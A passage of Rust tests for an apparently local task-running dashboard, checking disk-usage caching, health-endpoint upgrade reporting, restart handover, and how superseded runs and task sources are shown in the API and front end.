25495        );
25496    }
25497
25498    #[tokio::test]
25499    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25500        let home = TempDir::new().unwrap();
25501        let scope = disk_test_scope(home.path());
25502        let state = Arc::new(Mutex::new(DiskObservation {
25503            scope: Some(scope.clone()),
25504            capacity: known_disk_capacity(),
25505            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25506            ..Default::default()
25507        }));
25508        let (started, reached) = tokio::sync::oneshot::channel();
25509        let (release, blocked) = std::sync::mpsc::channel();
25510        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25511            started.send(()).unwrap();
25512            blocked.recv().unwrap();
25513            DiskCapacity {
25514                runs_bytes: Some(250),
25515                ..Default::default()
25516            }
25517        });
25518        assert_eq!(before.cache_bytes, Some(400));
25519        tokio::time::timeout(Duration::from_secs(5), reached)
25520            .await
25521            .unwrap()
25522            .unwrap();
25523        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25524        for _ in 0..4 {
25525            let scans = duplicate_scans.clone();
25526            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25527                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25528                DiskCapacity::default()
25529            });
25530            assert_eq!(during.runs_bytes, Some(200));
25531            assert_eq!(during.cache_bytes, Some(400));
25532        }
25533        release.send(()).unwrap();
25534        wait_for_disk_scan(&state).await;
25535        let scans = duplicate_scans.clone();
25536        let after = DiskObservation::observe(&state, scope, move |_| {
25537            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25538            DiskCapacity::default()
25539        });
25540        wait_for_disk_scan(&state).await;
25541        assert_eq!(after.runs_bytes, Some(250));
25542        assert_eq!(after.free_bytes, Some(100));
25543        assert_eq!(after.cache_bytes, Some(400));
25544        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25545        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25546    }
25547
25548    #[tokio::test]
25549    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25550        let home = TempDir::new().unwrap();
25551        let old_scope = disk_test_scope(home.path());
25552        let mut new_scope = old_scope.clone();
25553        new_scope.cache = Some(home.path().join("replacement-cache"));
25554        let state = Arc::new(Mutex::new(DiskObservation {
25555            scope: Some(old_scope.clone()),
25556            capacity: known_disk_capacity(),
25557            ..Default::default()
25558        }));
25559        let (started, reached) = tokio::sync::oneshot::channel();
25560        let (release, blocked) = std::sync::mpsc::channel();
25561        DiskObservation::observe(&state, old_scope, move |_| {
25562            started.send(()).unwrap();
25563            blocked.recv().unwrap();
25564            known_disk_capacity()
25565        });
25566        tokio::time::timeout(Duration::from_secs(5), reached)
25567            .await
25568            .unwrap()
25569            .unwrap();
25570        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25571        let scans = duplicate_scans.clone();
25572        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25573            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25574            DiskCapacity::default()
25575        });
25576        assert!(changed.cache_bytes.is_none());
25577        assert!(changed.runs_bytes.is_none());
25578        release.send(()).unwrap();
25579        wait_for_disk_scan(&state).await;
25580        {
25581            let observation = state.lock().unwrap();
25582            assert!(observation.capacity.cache_bytes.is_none());
25583            assert!(observation.finished.is_none());
25584        }
25585        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25586            assert_eq!(scope, &new_scope);
25587            DiskCapacity {
25588                cache_bytes: Some(999),
25589                ..Default::default()
25590            }
25591        });
25592        wait_for_disk_scan(&state).await;
25593        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25594        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25595    }
25596
25597    #[tokio::test]
25598    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25599        let home = TempDir::new().unwrap();
25600        let scope = disk_test_scope(home.path());
25601        let state = Arc::new(Mutex::new(DiskObservation {
25602            scope: Some(scope.clone()),
25603            capacity: known_disk_capacity(),
25604            ..Default::default()
25605        }));
25606        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25607        wait_for_disk_scan(&state).await;
25608        {
25609            let mut observation = state.lock().unwrap();
25610            assert_eq!(observation.capacity.cache_bytes, Some(400));
25611            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25612            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25613        }
25614        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25615            cache_bytes: Some(450),
25616            ..Default::default()
25617        });
25618        wait_for_disk_scan(&state).await;
25619        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25620    }
25621
25622    #[test]
25623    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25624        let home = TempDir::new().unwrap();
25625        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25626        assert_eq!(disk_capacity_size(home.path()), Some(0));
25627        std::fs::create_dir(home.path().join("nested")).unwrap();
25628        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25629        assert_eq!(disk_capacity_size(home.path()), Some(5));
25630        #[cfg(unix)]
25631        {
25632            // Unix distinguishes an invalid descendant lookup from absence.
25633            assert_eq!(
25634                disk_capacity_size(&home.path().join("nested/data/child")),
25635                None
25636            );
25637        }
25638        #[cfg(unix)]
25639        {
25640            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25641            assert_eq!(disk_capacity_size(home.path()), Some(5));
25642        }
25643    }
25644
25645    #[tokio::test]
25646    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25647        // `mode = "off"` for the same reason as the test above: a default
25648        // fixture repo falls back to `mode = "notify"`, which would make this
25649        // route's new `update` field a live, unauthenticated GitHub call on
25650        // every assertion in this suite that happens to hit `/api/health`.
25651        let repo = TempDir::new().expect("repo dir");
25652        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25653            .expect("write magi.toml");
25654        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25655
25656        let health = fx.get("/api/health").await.json();
25657        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25658        assert_eq!(
25659            health["update"]["available"], false,
25660            "checking is off, which reads as \"unknown\", not \"none\""
25661        );
25662        assert!(health["update"]["to"].is_null());
25663        assert!(
25664            health["upgrade"].is_null(),
25665            "nothing has ever asked this deck to upgrade"
25666        );
25667    }
25668
25669    #[tokio::test]
25670    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25671        let fx = Fixture::start().await;
25672        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25673
25674        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25675        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25676        progress.advance(crate::updater::Stage::Parking);
25677        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25678
25679        let health = fx.get("/api/health").await.json();
25680        assert_eq!(health["upgrade"]["stage"], "parking");
25681        assert_eq!(health["upgrade"]["from"], "0.5.1");
25682        assert_eq!(health["upgrade"]["to"], "0.5.2");
25683        let waiting_on = health["upgrade"]["waiting_on"]
25684            .as_str()
25685            .expect("waiting_on is set while parking a known run");
25686        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25687        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25688    }
25689
25690    #[tokio::test]
25691    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25692        let fx = Fixture::start().await;
25693        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25694        progress.advance(crate::updater::Stage::Done);
25695        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25696
25697        let health = fx.get("/api/health").await.json();
25698        assert_eq!(health["upgrade"]["stage"], "done");
25699        assert!(
25700            health["upgrade"]["waiting_on"].is_null(),
25701            "nothing to wait on once it is done"
25702        );
25703    }
25704
25705    /// The handover signal is seen however the race falls, and wakes its one
25706    /// waiter once per signal - nothing here can spin.
25707    #[tokio::test]
25708    async fn the_handover_signal_wakes_one_waiter_once() {
25709        let signal = Notify::new();
25710        // Signalled before anyone waits: the stored permit is not lost.
25711        signal.notify_one();
25712        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25713            .await
25714            .expect("an early signal is still seen");
25715        // One signal, one wake-up: a second wait does not resolve by itself.
25716        assert!(
25717            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25718                .await
25719                .is_err(),
25720            "a consumed signal must not wake a second time"
25721        );
25722        // Signalled while waiting.
25723        let signal = std::sync::Arc::new(signal);
25724        let waiter = tokio::spawn({
25725            let signal = std::sync::Arc::clone(&signal);
25726            async move { wait_for_handover(&signal).await }
25727        });
25728        tokio::time::sleep(Duration::from_millis(20)).await;
25729        assert!(!waiter.is_finished(), "nothing was signalled yet");
25730        signal.notify_one();
25731        tokio::time::timeout(Duration::from_secs(5), waiter)
25732            .await
25733            .expect("a late signal wakes the waiter")
25734            .expect("join");
25735    }
25736
25737    #[tokio::test]
25738    async fn health_says_how_long_a_handover_has_been_stuck() {
25739        let fx = Fixture::start().await;
25740        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25741        progress.advance(crate::updater::Stage::Replaced);
25742        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25743        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25744
25745        let health = fx.get("/api/health").await.json();
25746        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25747        assert!(stuck >= 600, "{stuck}");
25748        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25749        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25750    }
25751
25752    #[tokio::test]
25753    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25754        let home = tempfile::tempdir().expect("temp home");
25755        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25756        progress.advance(crate::updater::Stage::Parking);
25757        crate::updater::write_progress(home.path(), &progress).expect("seed");
25758        // What the second upgrade_and_restart and its handler do.
25759        let mut again = progress.clone();
25760        again.advance(crate::updater::Stage::Replaced);
25761        crate::updater::write_progress(home.path(), &again).expect("replaced");
25762        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25763        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25764        let after = crate::updater::read_progress(home.path()).expect("record");
25765        assert_eq!(after.stage, crate::updater::Stage::Parking);
25766    }
25767
25768    #[tokio::test]
25769    async fn health_does_not_call_a_live_parking_wait_stuck() {
25770        let fx = Fixture::start().await;
25771        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25772        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25773        progress.advance(crate::updater::Stage::Parking);
25774        let hours = Duration::from_secs(3 * 3600);
25775        progress.started_at = Timestamp::now() - hours;
25776        progress.updated_at = Timestamp::now() - hours;
25777        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25778        let _lease = crate::updater::LeaseGuard::enter(
25779            fx.home.path(),
25780            Some("20260905-000000-cd51".to_owned()),
25781        );
25782
25783        let health = fx.get("/api/health").await.json();
25784        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25785        assert!(health["upgrade"]["stuck_kind"].is_null());
25786        assert_eq!(health["upgrade"]["handover_alive"], true);
25787        let waiting_on = health["upgrade"]["waiting_on"]
25788            .as_str()
25789            .expect("waiting_on");
25790        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25791    }
25792
25793    fn idle_ui(home: &TempDir) -> Ui {
25794        let runs = home.path().join("runs");
25795        std::fs::create_dir_all(&runs).expect("runs dir");
25796        Ui::new(
25797            Queue::at(home.path().join("queue")),
25798            Questions::at(home.path().join("questions")),
25799            Talks::at(home.path().join("talks")),
25800            runs,
25801            home.path().to_path_buf(),
25802            PathBuf::from("/repo/magi"),
25803        )
25804        .with_launch(launch_idle)
25805    }
25806
25807    #[tokio::test]
25808    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25809        let home = TempDir::new().expect("temp home");
25810        let ui = idle_ui(&home);
25811        let lease = crate::worker::try_lease(home.path(), "scheduler")
25812            .expect("scheduler lease")
25813            .expect("free");
25814        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25815            .expect("request stop");
25816        let error = ui
25817            .start_detached_loop()
25818            .await
25819            .expect_err("transition is still live");
25820        assert_eq!(error.status, StatusCode::CONFLICT);
25821        assert!(error.message.contains("still running or stopping"));
25822        assert_eq!(
25823            crate::worker::control(home.path(), "scheduler").unwrap(),
25824            Some(crate::worker::Control::Stop)
25825        );
25826        drop(lease);
25827    }
25828
25829    #[tokio::test]
25830    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25831        let home = TempDir::new().expect("temp home");
25832        let ui = idle_ui(&home);
25833        let turns = ui
25834            .begin_talk_turn("active-chat")
25835            .expect("claim")
25836            .expect("free");
25837        let execution = crate::worker::try_lease(home.path(), "active-task")
25838            .expect("execution lease")
25839            .expect("free");
25840        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25841            .await
25842            .expect("bind loopback");
25843        let address = listener.local_addr().expect("address");
25844        let admissions = Arc::clone(&ui.admissions);
25845        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25846        let successor_started = std::sync::atomic::AtomicBool::new(false);
25847        tokio::time::timeout(
25848            Duration::from_secs(2),
25849            hand_over(home.path(), &admissions, served, || {
25850                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25851                Ok(1)
25852            }),
25853        )
25854        .await
25855        .expect("restart must not wait for execution")
25856        .expect("handover");
25857        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25858        // BSD may retain the address briefly after listener release. The real
25859        // successor uses the same bounded bind retry rather than a one-shot bind.
25860        let successor = bind_waiting(address)
25861            .await
25862            .expect("successor binds released address");
25863        assert_eq!(successor.local_addr().unwrap(), address);
25864        assert!(turns.owns(), "the chat lease survives restart");
25865        assert!(
25866            crate::worker::try_lease(home.path(), "active-task")
25867                .unwrap()
25868                .is_none()
25869        );
25870        drop(execution);
25871        drop(turns);
25872    }
25873
25874    #[tokio::test]
25875    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25876        let home = TempDir::new().expect("temp home");
25877        let ui = idle_ui(&home);
25878        let admission = ui.begin_admission().expect("admit send");
25879        let turn = ui
25880            .begin_talk_turn("active-chat")
25881            .expect("claim")
25882            .expect("free");
25883        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25884            .await
25885            .expect("bind loopback");
25886        let address = listener.local_addr().expect("address");
25887        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25888        let successor_called = std::sync::atomic::AtomicBool::new(false);
25889        let handover = hand_over(home.path(), &ui.admissions, served, || {
25890            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25891            Ok(1)
25892        });
25893        tokio::pin!(handover);
25894        // Poll exactly to the writer waiting on our admission guard. This
25895        // pins the race without sleeps or assumptions about task scheduling.
25896        std::future::poll_fn(|cx| {
25897            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25898            std::task::Poll::Ready(())
25899        })
25900        .await;
25901        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25902        assert!(
25903            ui.begin_admission().is_err(),
25904            "new ingress cannot race the drain"
25905        );
25906        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25907        drop(admission);
25908        tokio::time::timeout(Duration::from_secs(2), handover)
25909            .await
25910            .expect("only publication may delay restart")
25911            .expect("handover");
25912        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25913        assert!(
25914            turn.owns(),
25915            "the detached chat turn is not awaited or cancelled"
25916        );
25917        assert!(
25918            ui.begin_admission().is_err(),
25919            "old accepted connections stay closed"
25920        );
25921        drop(turn);
25922    }
25923
25924    #[test]
25925    fn health_worker_metadata_never_contains_payload_or_result() {
25926        let view = WorkerView::from(crate::worker::Job {
25927            id: "job".into(),
25928            sequence: 1,
25929            kind: "service".into(),
25930            key: "maintenance".into(),
25931            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25932            generation: "generation".into(),
25933            version: Some("1.2.3".into()),
25934            status: crate::worker::Status::Running,
25935            result: Some("private diagnostics".into()),
25936            pid: Some(4242),
25937            created_at: 1,
25938            finished_at: None,
25939        });
25940        let value = serde_json::to_value(view).expect("serialize public metadata");
25941        assert_eq!(value["version"], "1.2.3");
25942        assert_eq!(value["pid"], 4242);
25943        assert!(value.get("payload").is_none());
25944        assert!(value.get("result").is_none());
25945        assert!(!value.to_string().contains("private"));
25946    }
25947
25948    #[test]
25949    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25950        let home = TempDir::new().expect("temp home");
25951        let ui = idle_ui(&home);
25952        std::fs::write(
25953            home.path().join("daemon.json"),
25954            serde_json::json!({
25955                "schema": 2, "pid": 4242, "worker_protocol": 1,
25956                "updated_at": Timestamp::now().to_string(), "idle": true,
25957            })
25958            .to_string(),
25959        )
25960        .expect("status");
25961        let reading = daemon::read_status(home.path());
25962        assert!(Foreign::of(reading.as_ref()).is_none());
25963        let view = ui.runtime_loop_view(reading, &[]);
25964        assert!(view.running);
25965        assert!(view.owned);
25966    }
25967
25968    #[test]
25969    fn only_an_explicit_one_requests_a_resume() {
25970        assert!(!resume_requested(None));
25971        assert!(!resume_requested(Some("0".into())));
25972        assert!(!resume_requested(Some("".into())));
25973        assert!(resume_requested(Some("1".into())));
25974    }
25975
25976    #[test]
25977    fn an_error_is_visible_from_where_the_button_is() {
25978        // The alert used to sit in the flow under the header. On a phone
25979        // scrolled 13 500 px down to a run's action sheet that is off screen,
25980        // so tapping Resume and being told "the loop is running run b455
25981        // right now" looked exactly like a button that did nothing.
25982        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25983            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25984        assert!(
25985            alert.contains("position: fixed"),
25986            "an error about the thing under your thumb has to be visible from \
25987             where your thumb is: {alert}"
25988        );
25989        assert!(
25990            alert.contains("z-index: 25"),
25991            "above the dock (20) and the run-actions FAB (15), so neither \
25992             buries it: {alert}"
25993        );
25994        assert!(
25995            alert.contains("var(--tap)"),
25996            "and clear of the dock and the home indicator: {alert}"
25997        );
25998        // The FAB sits at the same height on the right. An error that covered
25999        // it would hide the button the operator reaches for next.
26000        assert!(
26001            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26002            "the FAB's column stays free: {alert}"
26003        );
26004    }
26005
26006    #[tokio::test]
26007    async fn an_older_attempt_says_what_replaced_it() {
26008        let fx = Fixture::start().await;
26009        let q = fx.queue();
26010        let runs = fx.runs();
26011        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26012        write_run(&runs, first, RunStatus::Stalled);
26013        write_run(&runs, second, RunStatus::Blocked);
26014
26015        let mut t = Task::new(
26016            "one task".to_owned(),
26017            "do it".to_owned(),
26018            PathBuf::from("/repo"),
26019            Source::Human,
26020        );
26021        t.runs = vec![first.to_owned(), second.to_owned()];
26022        q.put(&mut t).expect("put");
26023
26024        // Two cards with the same title and no hint which is which was the
26025        // question: "why are there two of the same, one stalled and one
26026        // blocked?" The older one now names its replacement.
26027        let rows = fx.get("/api/runs").await.json();
26028        let by = |short: &str| -> Value {
26029            rows.as_array()
26030                .unwrap()
26031                .iter()
26032                .find(|r| r["short"] == short)
26033                .cloned()
26034                .unwrap_or(Value::Null)
26035        };
26036        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26037        assert!(
26038            by("bbbb")["superseded_by"].is_null(),
26039            "the latest attempt is not superseded by anything"
26040        );
26041        // Front end: the note has to be rendered, not just carried.
26042        assert!(APP_JS.contains("run.superseded_by"));
26043        assert!(APP_JS.contains("Superseded by"));
26044    }
26045
26046    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26047        let mut t = Task::new(
26048            "one task".to_owned(),
26049            "do it".to_owned(),
26050            PathBuf::from("/repo"),
26051            Source::Human,
26052        );
26053        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26054        t.status = status;
26055        t
26056    }
26057
26058    #[test]
26059    fn source_link_picks_the_page_that_filed_the_task() {
26060        let agent = |node: &str| Source::Agent {
26061            run: "20260904-014455-ab12".to_owned(),
26062            node: node.to_owned(),
26063        };
26064        let chat = source_link(&agent("chat")).expect("chat link");
26065        assert_eq!(chat.kind, "chat");
26066        assert_eq!(chat.id, "20260904-014455-ab12");
26067        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26068        let run = source_link(&agent("implement")).expect("run link");
26069        assert_eq!(
26070            (run.kind, run.href.as_str()),
26071            ("run", "#/runs/20260904-014455-ab12")
26072        );
26073        assert_eq!(source_link(&Source::Human), None);
26074        assert_eq!(
26075            source_link(&Source::Issue {
26076                number: 3,
26077                repo: "o/r".to_owned()
26078            }),
26079            None
26080        );
26081        let odd = source_link(&Source::Agent {
26082            run: "a b/c".to_owned(),
26083            node: "chat".to_owned(),
26084        })
26085        .expect("link");
26086        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26087    }
26088
26089    #[test]
26090    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26091        assert!(
26092            !APP_JS.contains("src.node === \"chat\""),
26093            "inline href rule is back"
26094        );
26095        assert!(
26096            APP_JS.matches("sourceLinkOf(").count() >= 4,
26097            "helper must serve every page"
26098        );
26099        assert!(
26100            APP_JS.matches("openChatLink(").count() >= 3,
26101            "the run page still needs its explicit chat link"
26102        );
26103        assert!(
26104            !APP_JS.contains("const openChat = el("),
26105            "the Queue card duplicates its source label link again"
26106        );
26107        assert!(
26108            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26109            "the task page must link a chat source label too"
26110        );
26111    }
26112
26113    #[test]
26114    fn task_ref_carries_the_source_link_for_a_chat_task() {
26115        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26116        t.source = Source::Agent {
26117            run: "20260904-014455-ab12".to_owned(),
26118            node: "chat".to_owned(),
26119        };
26120        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26121        let v = serde_json::to_value(&out).expect("json");
26122        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26123        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26124        assert_eq!(v["source_label"], t.source.label());
26125
26126        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26127        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26128            .expect("json");
26129        assert!(v["source_link"].is_null(), "{v}");
26130    }
26131
26132    #[test]
26133    fn task_view_serializes_source_link() {
26134        let mut t = Task::new(
26135            "t".to_owned(),
26136            "t".to_owned(),
26137            PathBuf::from("/repo"),
26138            Source::Agent {
26139                run: "20260901-000000-aaaa".to_owned(),
26140                node: "implement".to_owned(),
26141            },
26142        );
26143        t.runs.clear();
26144        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26145        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26146        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26147    }
26148
26149    #[test]
26150    fn task_view_serializes_urgent_flag() {
26151        let mut t = Task::new(
26152            "t".to_owned(),
26153            "t".to_owned(),
26154            PathBuf::from("/repo"),
26155            Source::Human,
26156        );
26157        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26158        assert_eq!(v["urgent"], false, "{v}");
26159        t.urgent = true;
26160        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26161        assert_eq!(v["urgent"], true, "{v}");
26162        assert!(APP_JS.contains("task.urgent === true"));
26163    }
26164
26165    #[test]
26166    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26167        let mut t = Task::new(
26168            "t".to_owned(),
26169            "t".to_owned(),
26170            PathBuf::from("/repo"),
26171            Source::Human,
26172        );
26173        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26174        assert_eq!(v["immediate"], false, "{v}");
26175        t.immediate = true;
26176        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26177        assert_eq!(v["immediate"], true, "{v}");
26178        assert!(APP_JS.contains("task.immediate === true"));
26179        assert!(APP_JS.contains("/immediate"));
26180    }
26181
26182    #[tokio::test]
26183    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26184        let fx = Fixture::start().await;
26185        let runs = fx.runs();
26186        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26187        write_run(&runs, old, RunStatus::Blocked);
26188        write_run(&runs, new, RunStatus::Merged);
26189        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26190        fx.queue().put(&mut t).expect("put");
26191
26192        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26193        let task = &view["task"];
26194        assert_eq!(task["status"], "done");
26195        assert_eq!(task["is_latest"], false);
26196        assert_eq!(task["latest"]["short"], "bbbb");
26197        assert_eq!(task["finished_by"]["id"], new);
26198        assert_eq!(task["finished_by"]["outcome"], "merged");
26199        assert_eq!(task["closed_by_hand"], false);
26200        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26201        assert!(APP_JS.contains("finished_by"));
26202        assert!(APP_JS.contains("superseded by run"));
26203    }
26204
26205    #[tokio::test]
26206    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26207        let fx = Fixture::start().await;
26208        let runs = fx.runs();
26209        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26210        write_run(&runs, old, RunStatus::Stalled);
26211        write_run(&runs, new, RunStatus::Blocked);
26212        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26213        fx.queue().put(&mut t).expect("put");
26214
26215        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26216        assert_eq!(task["status"], "held");
26217        assert_eq!(task["is_latest"], true);
26218        assert!(task["latest"].is_null());
26219        assert!(task["finished_by"].is_null());
26220        assert_eq!(task["closed_by_hand"], false);
26221    }
26222
26223    #[tokio::test]
26224    async fn a_direct_run_has_no_task_outcome() {
26225        let fx = Fixture::start().await;
26226        let runs = fx.runs();
26227        let id = "20260901-000000-aaaa";
26228        write_run(&runs, id, RunStatus::Blocked);
26229        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26230        assert!(view["task"].is_null());
26231    }
26232
26233    #[test]
26234    fn task_outcome_does_not_guess_a_finishing_run() {
26235        let a = "20260901-000000-aaaa";
26236        let b = "20260901-000000-bbbb";
26237        let c = "20260901-000000-cccc";
26238        let dir = tempfile::tempdir().expect("tempdir");
26239        write_run(dir.path(), a, RunStatus::Blocked);
26240        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26241        // `c` has no record: unreadable.
26242        let read = |id: &str| read_run(dir.path(), id).ok();
26243        // Neither a blocked run nor a no-op finished the task; the newest run is
26244        // unreadable and still named.
26245        let t = outcome_task(&[a, b, c], TaskStatus::Done);
26246        let out = task_outcome(&t, a, 3, read);
26247        assert!(out.finished_by.is_none());
26248        assert!(out.closed_by_hand);
26249        let latest = out.latest.expect("latest");
26250        assert_eq!(latest.id, c);
26251        assert_eq!(latest.status, None);
26252        assert_eq!(latest.outcome, "record unreadable");
26253
26254        // A Ready run settles the task as done, so it is named as the finisher.
26255        write_run(dir.path(), c, RunStatus::Ready);
26256        let t = outcome_task(&[a, c], TaskStatus::Done);
26257        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26258        assert_eq!(out.finished_by.expect("finisher").id, c);
26259        assert!(!out.closed_by_hand);
26260
26261        // A resumed run id repeats: it is still the latest by id.
26262        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26263        assert!(task_outcome(&t, a, 3, read).is_latest);
26264    }
26265
26266    #[tokio::test]
26267    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26268        // The list route has known this since the card fix above; the detail
26269        // route — what an operator actually opens from a notification about
26270        // a blocked run — did not, and went on showing a bare red BLOCKED
26271        // chip for a run a retry had already finished.
26272        let fx = Fixture::start().await;
26273        let q = fx.queue();
26274        let runs = fx.runs();
26275        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26276        write_run(&runs, first, RunStatus::Blocked);
26277        write_run(&runs, second, RunStatus::Merged);
26278
26279        let mut t = Task::new(
26280            "one task".to_owned(),
26281            "do it".to_owned(),
26282            PathBuf::from("/repo"),
26283            Source::Human,
26284        );
26285        t.runs = vec![first.to_owned(), second.to_owned()];
26286        q.put(&mut t).expect("put");
26287
26288        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26289        assert_eq!(earlier["superseded_by"], "dddd");
26290        assert_eq!(earlier["latest_attempt"]["id"], second);
26291        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26292        assert_eq!(
26293            earlier["latest_attempt"]["resolved"], true,
26294            "the run that replaced it landed, so this one reads as settled"
26295        );
26296
26297        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26298        assert!(
26299            later["superseded_by"].is_null(),
26300            "the latest attempt is not superseded by anything"
26301        );
26302        assert!(
26303            later["latest_attempt"].is_null(),
26304            "the latest attempt has no later attempt of its own"
26305        );
26306
26307        // Front end: the detail page has to read the field this route now
26308        // carries, downgrade the chip, and link to the run that replaced it —
26309        // not just repeat the list card's own logic under a different name.
26310        // The link is built off `latest_attempt.id`, the server-resolved
26311        // full id, never a bare short string a client would have to guess a
26312        // full run from.
26313        assert!(APP_JS.contains("run.latest_attempt"));
26314        assert!(APP_JS.contains("data-superseded"));
